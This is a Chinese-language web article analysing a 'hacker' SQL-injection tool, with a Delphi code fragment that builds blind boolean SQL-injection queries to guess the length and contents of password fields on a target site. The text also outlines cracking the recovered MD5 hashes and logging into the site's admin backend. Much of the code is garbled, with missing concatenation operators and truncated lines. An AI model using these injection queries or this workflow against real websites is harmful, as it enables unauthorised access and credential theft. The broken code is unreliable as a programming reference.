欢迎来到福编程网,本站提供各种互联网专业知识!

黑客的脚本漏洞工具分析(图)

发布时间:1970-01-01 作者:佚名 来源:互联网
上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相

上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:

procedure TMainForm.GuessContProc(ListInt: integer); { SQL注入 - 多线程猜解字段内容 }

function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;

begin

Result := Url ’ and exists(select * from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id in (select top ’ TOPStr ’ id from ’ TableName ’ Order by id)))’

end;

var

TableName: string;

FieldName, S: string;

ContentInt: integer;

i, Len, LengthInt, N: integer;

GridCount: integer;

Colu: TColumn;

FlagBool: boolean;

begin

Len := 0;

LengthInt := 0;

FlagBool := True;

TableName := TableNameLst.Items[TableNameLst.Itemindex];

FieldName := Memo2.Lines[ListInt];

if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or

(LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密码’) or

(LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then

begin

ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);

if ContentInt >= and1Num then

begin

SqlResultMemo.Lines.Add(FieldName ’长度: 16’);

LengthInt := 16

end

else

begin

while (Len

begin

application.ProcessMessages;

inc(Len, 2);

Pane1.Caption := ’正在检测长度:Len(’ FieldName ’)=’ inttostr(Len);

ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’

if ContentInt >= and1Num then

begin

for N := Len - 1 to Len do

begin

ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);

if ContentInt >= and1Num then

begin

LengthInt := N;

SqlResultMemo.Lines.Add(FieldName ’长度: ’ inttostr(N));

FlagBool := False;

Break;

end; // if

end; // for

end; // if

end; // while

end;

end

else

begin

while (Len

begin

application.ProcessMessages;

inc(Len, 2);

Pane1.Caption := ’正在检测长度:Len(’ FieldName ’)=’ inttostr(Len);

ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’

if ContentInt >= and1Num then

begin

for N := Len - 1 to Len do

begin

ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);

if ContentInt >= and1Num then

begin

LengthInt := N;

SqlResultMemo.Lines.Add(FieldName ’长度: ’ inttostr(N));

FlagBool := False;

Break;

end; // if

end; // for

end; // if

end; // while

end;

GuessLsv.Clear;

if Len >= 50 then

begin

sql_EdUrl.Enabled := True;

Sql_GuessTable.Enabled := True;

TableNameLst.Enabled := True;

FieldNameLst.Enabled := True;

application.MessageBox(’列名长度大于50,猜解失败!’, ’提示’, 32);

Exit;

end;

Pane1.Caption := ’正在检测’ FieldName ’的内容...’;

GuessLsv.Update;

if LengthInt = 5 then

begin

ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select top ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where instr(’ FieldName ’,’’admin’’)=1 and len(username)=5)’);

if ContentInt >= and1Num then

begin

s := ’admin’;

for i := 1 to 5 do

begin

application.ProcessMessages;

with GuessLsv.Items.Add do

begin

caption := ’第’ inttostr(i) ’位’;

SubItems.Add(s);

end;

sleep(60);

GuessLsv.Update;

end;

inc(SQL_ScanContent_ThreadCreateCount);

StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;

StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’检测中...’;

SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] ’内容:admin’);

if SQL_ScanContent_ThreadCreateCount

GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);

Exit;

end

else

begin

for i := 1 to LengthInt do

begin

application.ProcessMessages;

with GuessLsv.Items.Add do

begin

caption := ’第’ inttostr(i) ’位’;

SubItems.Add(’检测中’);

end;

sleep(30);

end;

end;

end

else

begin

for i := 1 to LengthInt do

begin

application.ProcessMessages;

with GuessLsv.Items.Add do

begin

caption := ’第’ inttostr(i) ’位’;

SubItems.Add(’检测中’);

end;

sleep(30);

end;

end;

从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的 是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。

相关推荐